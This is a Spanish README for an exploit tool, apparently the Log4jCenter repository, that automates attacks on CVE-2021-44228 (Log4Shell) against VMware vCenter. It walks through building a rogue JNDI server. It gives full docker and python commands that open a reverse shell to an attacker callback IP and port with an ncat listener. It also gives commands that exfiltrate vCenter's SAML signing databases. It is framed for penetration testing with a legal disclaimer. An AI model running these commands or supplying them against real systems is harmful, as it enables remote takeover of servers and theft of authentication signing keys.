
Explotando CVE-2021-44228 en vCenter para ejecución remota de código y más.
Explotando CVE-2021-44228 en vCenter para ejecución remota de código y más. Artículo de blog detallando la explotación en el enlace de abajo:
Las pruebas de concepto para esta vulnerabilidad están dispersas y deben realizarse manualmente. Este repositorio automatiza el proceso de explotación y muestra una ruta de ataque adicional posible después de la explotación.
Este repositorio puede usarse manualmente o con Docker.
Para descargar y ejecutar el exploit manualmente, ejecute los siguientes pasos. Primero, asegúrese de que Java y Maven estén instalados en su host atacante. Para hacer esto usando apt en sistemas operativos basados en Debian, ejecute el siguiente comando:
apt update && apt install openjdk-11-jre maven
Clone el repositorio de GitHub e instale todos los requisitos de Python:
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && pip3 install -r requirements.txt
Desde la raíz del repositorio Log4jCenter, compile el proyecto Rogue-Jndi usando el comando a continuación:
mvn package -f utils/rogue-jndi/
Primero, asegúrese de que Docker esté instalado en su host atacante. (No le explicaré cómo hacer esto)
Después de eso, ejecute el siguiente comando para clonar el repositorio y construir la imagen Docker que usaremos.
git clone --recurse-submodules https://github.com/puzzlepeaches/Log4jCenter \
&& cd Log4jCenter && docker build -t log4jcenter .
Para ejecutar el contenedor, ejecute un comando similar al siguiente con sus banderas de línea de comandos añadidas. Por ejemplo, el siguiente comando se usaría para explotar vCenter y obtener una shell inversa. Tenga en cuenta que el contenedor no capturará la shell inversa. Necesita crear un listener ncat en una sesión de shell separada:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 8090:8090 -p 1389:1389 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -p 4444 -r
usage: exploit.py [-h] -t IP -i CALLBACK [-p PORT] [-e] [-r]
optional arguments:
-h, --help muestra este mensaje de ayuda y sale
-t IP, --target IP Dirección IP del host vCenter
-i CALLBACK, --ip CALLBACK
IP de callback para entrega de payload y shell inversa
-p PORT, --port PORT Puerto de callback para shell inversa
-e, --exfiltrate Módulo para extraer la base de datos SAML
-r, --revshell Módulo para establecer shell inversa
Obtenga una shell inversa usando la herramienta instalada en su sistema local:
python3 exploit.py -t vcenter.acme.com -i 10.10.10.1 -p 4444 -r
Extraiga las bases de datos de firma SAML desde un contenedor Docker:
docker run -it -v $(pwd)/loot:/Log4jCenter/loot -p 1389:1389 -p 8090:8090 log4jcenter \
-t 10.100.100.1 -i 192.168.1.1 -e
Esta herramienta está diseñada para su uso durante pruebas de penetración; el uso de esta herramienta para atacar objetivos sin consentimiento mutuo previo es ilegal. Es responsabilidad del usuario final cumplir con todas las leyes locales, estatales y federales aplicables. Los desarrolladores no asumen ninguna responsabilidad y no son responsables por el mal uso de este programa.